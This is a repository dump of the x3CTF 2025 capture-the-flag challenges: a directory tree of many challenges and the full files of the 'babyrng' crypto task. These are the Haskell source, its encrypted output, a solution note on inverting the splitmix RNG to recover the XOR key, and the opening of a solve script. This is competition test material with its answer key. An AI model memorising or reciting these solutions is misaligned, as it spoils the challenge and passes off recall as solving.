├── README.md
├── crypto
├── babyrng
│ ├── challenge-handout
│ │ ├── Dockerfile
│ │ ├── output.txt
│ │ └── source.hs
│ ├── challenge-solution
│ │ ├── solution.md
│ │ └── solve.py
│ ├── challenge-src
│ └── challenge.yaml
├── curved-mvm
│ ├── challenge-handout
│ ├── challenge-solution
│ │ ├── server.py
│ │ └── solve.sage
│ ├── challenge-src
│ │ ├── Dockerfile
│ │ ├── fast.py
│ │ └── server.py
│ └── challenge.yaml
├── fastcrypto
│ ├── challenge-handout
│ │ ├── CMakeLists.txt
│ │ ├── Makefile
│ │ ├── chall.py
│ │ └── nttmul.cpp
│ ├── challenge-solution
│ │ ├── soln.md
│ │ └── solve.py
│ ├── challenge-src
│ │ ├── CMakeLists.txt
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── SECRET.py
│ │ ├── chall.py
│ │ └── nttmul.cpp
│ └── challenge.yaml
├── man_vs_matrix
│ ├── challenge-handout
│ ├── challenge-solution
│ │ └── solution.sage
│ ├── challenge-src
│ │ └── challenge.py
│ └── challenge.yaml
├── much-vulnerable-machine-1
│ ├── challenge-handout
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ └── jwt.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ ├── challenge-solution
│ │ ├── solve.py
│ │ └── solve.sh
│ ├── challenge-src
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── README.md
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ └── jwt.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ └── challenge.yaml
├── much-vulnerable-machine-2
│ ├── challenge-handout
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ ├── jwt.py
│ │ │ │ │ └── rsa.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ ├── challenge-solution
│ │ ├── solve.py
│ │ └── solve.sh
│ ├── challenge-src
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── README.md
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ ├── jwt.py
│ │ │ │ │ └── rsa.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ └── challenge.yaml
├── much-vulnerable-machine-3
│ ├── challenge-handout
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ ├── jwt.py
│ │ │ │ │ └── rsa.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ ├── challenge-solution
│ │ ├── solve.py
│ │ └── solve.sh
│ ├── challenge-src
│ │ ├── .gitignore
│ │ ├── api
│ │ │ ├── Dockerfile
│ │ │ ├── README.md
│ │ │ ├── mvmcryption
│ │ │ │ ├── __init__.py
│ │ │ │ ├── app.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── cipher.py
│ │ │ │ │ ├── ecdsa.py
│ │ │ │ │ ├── jwt.py
│ │ │ │ │ └── rsa.py
│ │ │ │ ├── db
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── db.py
│ │ │ │ │ └── users.py
│ │ │ │ ├── environ.py
│ │ │ │ ├── resp.py
│ │ │ │ ├── routers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── auth.py
│ │ │ │ │ ├── crypto.py
│ │ │ │ │ └── users.py
│ │ │ │ └── utils.py
│ │ │ ├── poetry.lock
│ │ │ ├── pyproject.toml
│ │ │ └── tests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── test_cipher.py
│ │ │ │ └── test_ecdsa.py
│ │ └── compose.yaml
│ └── challenge.yaml
├── rubiks-dsa
│ ├── challenge-handout
│ │ ├── chall.sage
│ │ ├── out.txt
│ │ └── permutation.txt
│ ├── challenge-solution
│ │ └── sol.sage
│ ├── challenge-src
│ └── challenge.yaml
└── sourceless-crypto
│ ├── challenge-solution
│ ├── solution.md
│ └── solve.py
│ ├── challenge-src
│ ├── Dockerfile
│ └── chall.py
│ └── challenge.yaml
├── misc
├── count-the-mvms
│ ├── challenge-solution
│ │ ├── mvm_pattern.png
│ │ ├── solution.md
│ │ └── solve_script.py
│ └── challenge.yaml
├── foundations
│ └── challenge.yaml
├── hydraulic-press
│ ├── challenge-handout
│ │ └── flag.txt
│ ├── challenge-solution
│ │ ├── go.mod
│ │ └── main.go
│ ├── challenge-src
│ │ ├── go.mod
│ │ └── main.go
│ └── challenge.yaml
├── mvm
│ ├── challenge-handout
│ │ └── mvm.txt
│ ├── challenge-solution
│ │ └── solution.md
│ └── challenge.yaml
├── omnibius
│ ├── challenge-handout
│ │ ├── 519814-omnibious-pocket-computer-rev1-0.pdf
│ │ └── dump.rom
│ ├── challenge-solution
│ │ ├── dump.rom
│ │ └── solve_script.py
│ └── challenge.yaml
├── p11n-trophy
│ ├── challenge-src
│ │ ├── Dockerfile
│ │ ├── MonsieurLaDoulaise-Regular.ttf
│ │ ├── app.py
│ │ ├── mvm_pattern.png
│ │ ├── requirements.txt
│ │ ├── vvv_pattern.png
│ │ ├── wvw_pattern.png
│ │ └── x3_transparent.png
│ └── challenge.yaml
├── redacted
│ ├── challenge-handout
│ │ ├── how_to_check.png
│ │ ├── readme.txt
│ │ └── redacted.zip
│ ├── challenge-solution
│ │ ├── c1b53be672aac192a996.woff2
│ │ ├── corrected.png
│ │ ├── solution.md
│ │ └── solve.html
│ └── challenge.yaml
├── secure-snek
│ ├── challenge-handout
│ │ ├── auth.py
│ │ ├── main.py
│ │ └── output.txt
│ ├── challenge-solution
│ │ └── description and solution.txt
│ ├── challenge-src
│ │ ├── __pycache__
│ │ │ └── auth.cpython-312.pyc
│ │ ├── auth.py
│ │ ├── auth_orig.py
│ │ └── main.py
│ └── challenge.yaml
├── trophy-plus
│ └── challenge.yaml
└── trophy-plus64
│ └── challenge.yaml
├── pwn
├── devnull-as-a-service
│ ├── challenge-handout
│ │ ├── Dockerfile
│ │ ├── dev_null
│ │ ├── docker-compose.yml
│ │ ├── flag.txt
│ │ └── ynetd
│ ├── challenge-solution
│ │ └── solution.py
│ ├── challenge-src
│ │ ├── Dockerfile
│ │ ├── dev_null
│ │ ├── docker-compose.yml
│ │ ├── flag.txt
│ │ └── ynetd
│ └── challenge.yaml
├── pwny-heap
│ ├── challenge-handout
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── libc-2.35.so
│ │ └── pwny-heap
│ ├── challenge-solution
│ │ ├── Dockerfile
│ │ ├── exploit.py
│ │ ├── flag.txt
│ │ ├── libc-2.35.so
│ │ └── pwny-heap
│ ├── challenge-src
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ └── pwny-heap
│ └── challenge.yaml
└── secure-sandbox
│ ├── challenge-handout
│ ├── Dockerfile
│ ├── chall
│ └── flag
│ ├── challenge-solution
│ ├── Dockerfile
│ ├── Makefile
│ ├── chall
│ ├── flag
│ ├── flagGenerator.py
│ ├── main.c
│ └── solve.py
│ ├── challenge-src
│ ├── Dockerfile
│ ├── chall
│ └── flag
│ └── challenge.yaml
├── rev
├── keystore-rs
│ ├── challenge-handout
│ │ └── keystore-rs
│ ├── challenge-solution
│ │ └── SOLUTION.md
│ ├── challenge-src
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ └── src
│ │ │ └── main.rs
│ └── challenge.yaml
├── netmsg-1
│ ├── challenge-handout
│ │ ├── netmsg_darwin_amd64
│ │ ├── netmsg_darwin_arm64
│ │ ├── netmsg_linux_386
│ │ ├── netmsg_linux_amd64
│ │ ├── netmsg_linux_arm64
│ │ ├── netmsg_windows_386
│ │ ├── netmsg_windows_amd64
│ │ └── netmsg_windows_arm64
│ ├── challenge-solution
│ │ ├── README.txt
│ │ ├── flag1.py
│ │ └── requirements.txt
│ ├── challenge-src
│ │ ├── Dockerfile
│ │ ├── build.sh
│ │ ├── client
│ │ │ ├── go.mod
│ │ │ ├── main.go
│ │ │ └── math.go
│ │ ├── common
│ │ │ ├── common.go
│ │ │ ├── go.mod
│ │ │ └── go.sum
│ │ ├── go.work
│ │ └── server
│ │ │ ├── go.mod
│ │ │ ├── main.go
│ │ │ └── secrets.go
│ └── challenge.yaml
├── netmsg-2
│ ├── challenge-handout
│ │ └── netmsg-2.pcap
│ ├── challenge-solution
│ │ ├── README.txt
│ │ ├── flag1.py
│ │ ├── flag2.py
│ │ └── requirements.txt
│ ├── challenge-src
│ │ ├── build.sh
│ │ ├── client
│ │ ├── common
│ │ ├── go.work
│ │ └── server
│ └── challenge.yaml
├── notcrypto
│ ├── challenge-handout
│ │ └── spn
│ ├── challenge-solution
│ │ ├── todo.py
│ │ └── writeup.md
│ ├── challenge-src
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── spn
│ │ └── spn.cpp
│ └── challenge.yaml
├── oh_my_gadt
│ ├── challenge-handout
│ │ ├── .stack-work
│ │ │ ├── install
│ │ │ │ └── x86_64-linux
│ │ │ │ │ └── 359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c
│ │ │ │ │ └── 9.8.4
│ │ │ │ │ └── pkgdb
│ │ │ │ │ ├── package.cache
│ │ │ │ │ └── package.cache.lock
│ │ │ ├── stack.sqlite3
│ │ │ └── stack.sqlite3.pantry-write-lock
│ │ ├── Dockerfile
│ │ ├── docker-compose.yml
│ │ └── hs_src
│ │ │ ├── .stack-work
│ │ │ ├── install
│ │ │ │ └── x86_64-linux
│ │ │ │ │ └── 359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c
│ │ │ │ │ └── 9.8.4
│ │ │ │ │ └── pkgdb
│ │ │ │ │ ├── package.cache
│ │ │ │ │ └── package.cache.lock
│ │ │ ├── stack.sqlite3
│ │ │ └── stack.sqlite3.pantry-write-lock
│ │ │ ├── Setup.hs
│ │ │ ├── ohmygadt.cabal
│ │ │ ├── src
│ │ │ └── Main.hs
│ │ │ ├── stack.yaml
│ │ │ └── stack.yaml.lock
│ ├── challenge-solution
│ │ └── solve.py
│ ├── challenge-src
│ └── challenge.yaml
└── pickle-season
│ ├── challenge-handout
│ ├── challenge-solution
│ └── solution.md
│ ├── challenge-src
│ └── challenge.py
│ └── challenge.yaml
└── web
├── MVMCheckers-Inc
├── challenge-handout
│ ├── .idea
│ │ ├── .gitignore
│ │ ├── inspectionProfiles
│ │ │ └── Project_Default.xml
│ │ ├── mimes-inc.iml
│ │ ├── misc.xml
│ │ ├── modules.xml
│ │ ├── php.xml
│ │ └── vcs.xml
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── magicians-agency.iml
│ └── src
│ │ ├── administration.php
│ │ ├── booking.php
│ │ ├── header.php
│ │ ├── index.php
│ │ ├── magicians.php
│ │ ├── magicians
│ │ ├── Die kleine Hexe.magic
│ │ ├── Gandalf.magic
│ │ ├── Houdini.magic
│ │ ├── Kiki.magic
│ │ └── Siegfried and Roy.magic
│ │ ├── rebuild
│ │ ├── about.json
│ │ ├── booking.json
│ │ ├── footnote.txt
│ │ └── index.php
│ │ └── style.css
├── challenge-solution
│ ├── exfil.json
│ ├── magic.txt
│ ├── magic.xbm
│ └── solution.md
├── challenge-src
│ ├── .idea
│ │ ├── .gitignore
│ │ ├── inspectionProfiles
│ │ │ └── Project_Default.xml
│ │ ├── mimes-inc.iml
│ │ ├── misc.xml
│ │ ├── modules.xml
│ │ ├── php.xml
│ │ └── vcs.xml
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── magicians-agency.iml
│ └── src
│ │ ├── administration.php
│ │ ├── booking.php
│ │ ├── header.php
│ │ ├── index.php
│ │ ├── magicians.php
│ │ ├── magicians
│ │ ├── Die kleine Hexe.magic
│ │ ├── Gandalf.magic
│ │ ├── Houdini.magic
│ │ ├── Kiki.magic
│ │ └── Siegfried and Roy.magic
│ │ ├── rebuild
│ │ ├── about.json
│ │ ├── booking.json
│ │ ├── footnote.txt
│ │ └── index.php
│ │ └── style.css
└── challenge.yaml
├── StoryCreator
├── challenge-handout
│ └── handout
│ │ ├── Dockerfile
│ │ ├── backend
│ │ ├── .gitignore
│ │ ├── cmd
│ │ │ └── server
│ │ │ │ └── server.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ ├── gqlgen.yml
│ │ ├── internal
│ │ │ └── exporter
│ │ │ │ └── exporter.go
│ │ ├── justfile
│ │ ├── pkg
│ │ │ ├── apq
│ │ │ │ └── cache.go
│ │ │ ├── db
│ │ │ │ └── db.go
│ │ │ ├── flagcookie
│ │ │ │ └── flagcookie.go
│ │ │ ├── graph
│ │ │ │ ├── generated.go
│ │ │ │ ├── gqlgen-directives.graphql
│ │ │ │ ├── model
│ │ │ │ │ └── models_gen.go
│ │ │ │ ├── resolver.go
│ │ │ │ ├── schema.graphql
│ │ │ │ └── schema.resolvers.go
│ │ │ ├── model
│ │ │ │ ├── dimensions.go
│ │ │ │ └── id.go
│ │ │ ├── render
│ │ │ │ └── render.go
│ │ │ ├── repository
│ │ │ │ ├── exports
│ │ │ │ │ └── exports.go
│ │ │ │ ├── images
│ │ │ │ │ └── images.go
│ │ │ │ └── stories
│ │ │ │ │ └── stories.go
│ │ │ ├── smallhmap
│ │ │ │ └── smallhmap.go
│ │ │ └── tenant
│ │ │ │ └── tenant.go
│ │ └── tools.go
│ │ ├── compose.yml
│ │ ├── frontend
│ │ ├── .env
│ │ ├── .eslintrc.cjs
│ │ ├── .gitattributes
│ │ ├── .gitignore
│ │ ├── .prettierrc
│ │ ├── .yarn
│ │ │ └── releases
│ │ │ │ └── yarn-4.3.1.cjs
│ │ ├── .yarnrc.yml
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── nginx.conf
│ │ ├── package.json
│ │ ├── public
│ │ │ └── vite.svg
│ │ ├── src
│ │ │ ├── App.tsx
│ │ │ ├── assets
│ │ │ │ └── react.svg
│ │ │ ├── components
│ │ │ │ ├── FullPageLoading.tsx
│ │ │ │ └── story.tsx
│ │ │ ├── main.css
│ │ │ ├── main.tsx
│ │ │ ├── pages
│ │ │ │ ├── CreateStoryPage
│ │ │ │ │ └── CreateStoryPage.tsx
│ │ │ │ ├── ExportDetailsPage
│ │ │ │ │ └── ExportDetailsPage.tsx
│ │ │ │ ├── ExportListPage
│ │ │ │ │ └── ExportListPage.tsx
│ │ │ │ ├── ExportStoryPage
│ │ │ │ │ └── ExportStoryPage.tsx
│ │ │ │ ├── ListStoriesPage
│ │ │ │ │ └── ListStoriesPage.tsx
│ │ │ │ ├── Render
│ │ │ │ │ └── Render.tsx
│ │ │ │ ├── UploadAssetPage
│ │ │ │ │ └── UploadAssetPage.tsx
│ │ │ │ └── ViewStoryPage
│ │ │ │ │ └── ViewStoryPage.tsx
│ │ │ └── vite-env.d.ts
│ │ ├── tsconfig.app.json
│ │ ├── tsconfig.json
│ │ ├── tsconfig.node.json
│ │ ├── vite.config.ts
│ │ └── yarn.lock
│ │ └── seed
│ │ └── seed.sql
├── challenge-solution
│ ├── checker
│ │ ├── ._image.png
│ │ ├── ._imageold.png
│ │ ├── __main__.py
│ │ ├── image.png
│ │ └── imageold.png
│ └── writeup.md
├── challenge-src
│ ├── ._cwte-jeopardy-chall
│ ├── Dockerfile
│ ├── Dockerfile-db
│ ├── backend
│ │ ├── .gitignore
│ │ ├── cmd
│ │ │ └── server
│ │ │ │ └── server.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ ├── gqlgen.yml
│ │ ├── internal
│ │ │ └── exporter
│ │ │ │ └── exporter.go
│ │ ├── justfile
│ │ ├── pkg
│ │ │ ├── apq
│ │ │ │ └── cache.go
│ │ │ ├── db
│ │ │ │ └── db.go
│ │ │ ├── flagcookie
│ │ │ │ └── flagcookie.go
│ │ │ ├── graph
│ │ │ │ ├── generated.go
│ │ │ │ ├── gqlgen-directives.graphql
│ │ │ │ ├── model
│ │ │ │ │ └── models_gen.go
│ │ │ │ ├── resolver.go
│ │ │ │ ├── schema.graphql
│ │ │ │ └── schema.resolvers.go
│ │ │ ├── model
│ │ │ │ ├── dimensions.go
│ │ │ │ └── id.go
│ │ │ ├── render
│ │ │ │ └── render.go
│ │ │ ├── repository
│ │ │ │ ├── exports
│ │ │ │ │ └── exports.go
│ │ │ │ ├── images
│ │ │ │ │ └── images.go
│ │ │ │ └── stories
│ │ │ │ │ └── stories.go
│ │ │ ├── smallhmap
│ │ │ │ ├── smallhmap.go
│ │ │ │ └── smallhmap_test.go
│ │ │ └── tenant
│ │ │ │ └── tenant.go
│ │ └── tools.go
│ ├── compose.yml
│ ├── frontend
│ │ ├── .env
│ │ ├── .eslintrc.cjs
│ │ ├── .gitattributes
│ │ ├── .gitignore
│ │ ├── .prettierrc
│ │ ├── .yarn
│ │ │ └── releases
│ │ │ │ └── yarn-4.3.1.cjs
│ │ ├── .yarnrc.yml
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── nginx.conf
│ │ ├── package.json
│ │ ├── public
│ │ │ └── vite.svg
│ │ ├── src
│ │ │ ├── App.tsx
│ │ │ ├── assets
│ │ │ │ └── react.svg
│ │ │ ├── components
│ │ │ │ ├── FullPageLoading.tsx
│ │ │ │ └── story.tsx
│ │ │ ├── main.css
│ │ │ ├── main.tsx
│ │ │ ├── pages
│ │ │ │ ├── CreateStoryPage
│ │ │ │ │ └── CreateStoryPage.tsx
│ │ │ │ ├── ExportDetailsPage
│ │ │ │ │ └── ExportDetailsPage.tsx
│ │ │ │ ├── ExportListPage
│ │ │ │ │ └── ExportListPage.tsx
│ │ │ │ ├── ExportStoryPage
│ │ │ │ │ └── ExportStoryPage.tsx
│ │ │ │ ├── ListStoriesPage
│ │ │ │ │ └── ListStoriesPage.tsx
│ │ │ │ ├── Render
│ │ │ │ │ └── Render.tsx
│ │ │ │ ├── UploadAssetPage
│ │ │ │ │ └── UploadAssetPage.tsx
│ │ │ │ └── ViewStoryPage
│ │ │ │ │ └── ViewStoryPage.tsx
│ │ │ └── vite-env.d.ts
│ │ ├── tsconfig.app.json
│ │ ├── tsconfig.json
│ │ ├── tsconfig.node.json
│ │ ├── vite.config.ts
│ │ └── yarn.lock
│ ├── handout
│ │ ├── Dockerfile
│ │ ├── backend
│ │ │ ├── .gitignore
│ │ │ ├── cmd
│ │ │ │ └── server
│ │ │ │ │ └── server.go
│ │ │ ├── go.mod
│ │ │ ├── go.sum
│ │ │ ├── gqlgen.yml
│ │ │ ├── internal
│ │ │ │ └── exporter
│ │ │ │ │ └── exporter.go
│ │ │ ├── justfile
│ │ │ ├── pkg
│ │ │ │ ├── apq
│ │ │ │ │ └── cache.go
│ │ │ │ ├── db
│ │ │ │ │ └── db.go
│ │ │ │ ├── flagcookie
│ │ │ │ │ └── flagcookie.go
│ │ │ │ ├── graph
│ │ │ │ │ ├── generated.go
│ │ │ │ │ ├── gqlgen-directives.graphql
│ │ │ │ │ ├── model
│ │ │ │ │ │ └── models_gen.go
│ │ │ │ │ ├── resolver.go
│ │ │ │ │ ├── schema.graphql
│ │ │ │ │ └── schema.resolvers.go
│ │ │ │ ├── model
│ │ │ │ │ ├── dimensions.go
│ │ │ │ │ └── id.go
│ │ │ │ ├── render
│ │ │ │ │ └── render.go
│ │ │ │ ├── repository
│ │ │ │ │ ├── exports
│ │ │ │ │ │ └── exports.go
│ │ │ │ │ ├── images
│ │ │ │ │ │ └── images.go
│ │ │ │ │ └── stories
│ │ │ │ │ │ └── stories.go
│ │ │ │ ├── smallhmap
│ │ │ │ │ └── smallhmap.go
│ │ │ │ └── tenant
│ │ │ │ │ └── tenant.go
│ │ │ └── tools.go
│ │ ├── compose.yml
│ │ ├── frontend
│ │ │ ├── .env
│ │ │ ├── .eslintrc.cjs
│ │ │ ├── .gitattributes
│ │ │ ├── .gitignore
│ │ │ ├── .prettierrc
│ │ │ ├── .yarn
│ │ │ │ └── releases
│ │ │ │ │ └── yarn-4.3.1.cjs
│ │ │ ├── .yarnrc.yml
│ │ │ ├── Dockerfile
│ │ │ ├── README.md
│ │ │ ├── index.html
│ │ │ ├── nginx.conf
│ │ │ ├── package.json
│ │ │ ├── public
│ │ │ │ └── vite.svg
│ │ │ ├── src
│ │ │ │ ├── App.tsx
│ │ │ │ ├── assets
│ │ │ │ │ └── react.svg
│ │ │ │ ├── components
│ │ │ │ │ ├── FullPageLoading.tsx
│ │ │ │ │ └── story.tsx
│ │ │ │ ├── main.css
│ │ │ │ ├── main.tsx
│ │ │ │ ├── pages
│ │ │ │ │ ├── CreateStoryPage
│ │ │ │ │ │ └── CreateStoryPage.tsx
│ │ │ │ │ ├── ExportDetailsPage
│ │ │ │ │ │ └── ExportDetailsPage.tsx
│ │ │ │ │ ├── ExportListPage
│ │ │ │ │ │ └── ExportListPage.tsx
│ │ │ │ │ ├── ExportStoryPage
│ │ │ │ │ │ └── ExportStoryPage.tsx
│ │ │ │ │ ├── ListStoriesPage
│ │ │ │ │ │ └── ListStoriesPage.tsx
│ │ │ │ │ ├── Render
│ │ │ │ │ │ └── Render.tsx
│ │ │ │ │ ├── UploadAssetPage
│ │ │ │ │ │ └── UploadAssetPage.tsx
│ │ │ │ │ └── ViewStoryPage
│ │ │ │ │ │ └── ViewStoryPage.tsx
│ │ │ │ └── vite-env.d.ts
│ │ │ ├── tsconfig.app.json
│ │ │ ├── tsconfig.json
│ │ │ ├── tsconfig.node.json
│ │ │ ├── vite.config.ts
│ │ │ └── yarn.lock
│ │ └── seed
│ │ │ └── seed.sql
│ ├── justfile
│ ├── seed
│ │ └── seed.sql
│ └── src
│ │ └── .tool-versions
└── challenge.yaml
├── blogdog
├── challenge-handout
│ ├── Dockerfile
│ └── src
│ │ ├── favicon.ico
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ └── purify.min.js
├── challenge-solution
│ ├── solution.md
│ └── solver.py
├── challenge-src
│ ├── Dockerfile
│ └── src
│ │ ├── favicon.ico
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ └── purify.min.js
└── challenge.yaml
├── kittyconvert
├── challenge-handout
│ ├── Dockerfile
│ ├── README.md
│ ├── docker-compose.yml
│ ├── flag.txt
│ └── src
│ │ ├── class-php-ico.php
│ │ ├── favicon.ico
│ │ ├── index.php
│ │ └── uploads
│ │ └── .gitfolder
├── challenge-solution
│ ├── solution.md
│ └── solve.py
├── challenge-src
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── flag.txt
│ └── src
│ │ ├── class-php-ico.php
│ │ ├── favicon.ico
│ │ ├── index.php
│ │ └── uploads
│ │ └── .gitfolder
└── challenge.yaml
└── submission
├── challenge-handout
├── Dockerfile
├── README.md
├── docker-compose.yml
└── src
│ ├── favicon.ico
│ ├── index.php
│ └── uploads
│ └── flag.txt
├── challenge-solution
└── solution.md
├── challenge-src
├── Dockerfile
└── src
│ ├── favicon.ico
│ ├── index.php
│ └── uploads
│ └── flag.txt
└── challenge.yaml
/README.md:
--------------------------------------------------------------------------------
1 | # x3CTF 2025 - Challenges
2 | This repository contains all the challenges, sources and solutions for **x3CTF 2025 (feat. mvm)**
3 |
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM haskell:8.10
2 |
3 | RUN cabal update && cabal install --lib mtl && cabal install --lib random
4 |
5 | WORKDIR /build
6 | COPY source.hs .
7 | RUN ghc source.hs
8 |
9 | ENTRYPOINT ["/build/source"]
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-handout/output.txt:
--------------------------------------------------------------------------------
1 | The shredded flag (070dbb36be2b25fadda85ba68d791dd8ec4626d81ebd338cb13a4f318d98d7102bddd0fd2f22946138e4401fe006e4eb318cabfb034adfac4163e595f2442c7b) has been buried at (7283898632471611723, 9620209372472646369)
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-handout/source.hs:
--------------------------------------------------------------------------------
1 | {-# LANGUAGE ScopedTypeVariables #-}
2 | import Control.Monad.State.Lazy (evalState, State, state)
3 | import Data.Bits (xor)
4 | import Data.Char (chr, ord)
5 | import Data.Word (Word64)
6 | import System.Random (getStdGen, StdGen, uniform, uniformR)
7 | import Text.Printf (printf)
8 |
9 | flag = "MVM{[REDACTED]}"
10 |
11 | shred :: String -> State StdGen String
12 | shred "" = return ""
13 | shred (c:cs) = do
14 | k <- state $ uniformR (0, 255)
15 | ((:) (chr $ (ord c) `xor` k)) <$> (shred cs)
16 |
17 | burryTreasure :: State StdGen String
18 | burryTreasure = do
19 | shredded <- shred flag
20 | x :: Word64 <- state uniform
21 | y :: Word64 <- state uniform
22 | return $ printf "The shredded flag (%s) has been buried at (%d, %d)" (shredded >>= (printf "%02x" :: Char -> String)) x y
23 |
24 | main :: IO ()
25 | main = do
26 | rng <- getStdGen
27 | putStrLn $ evalState burryTreasure rng
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-solution/solution.md:
--------------------------------------------------------------------------------
1 | Read the source of Haskell random library (particularly https://hackage.haskell.org/package/splitmix-0.1.1/docs/src/System.Random.SplitMix.html), implement the inverse of `mix64` and use the fact that `state_{i + 1} = state_i + gamma` for some constant gamma to recover the one time pad key knowing full 2 words generated right after the flag is encrypted.
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-solution/solve.py:
--------------------------------------------------------------------------------
1 | m = 1 << 64
2 |
3 |
4 | def shiftxor(n, w):
5 | return w ^ (w >> n)
6 |
7 |
8 | def shiftxormult(n, k, w):
9 | return (shiftxor(n, w) * k) % m
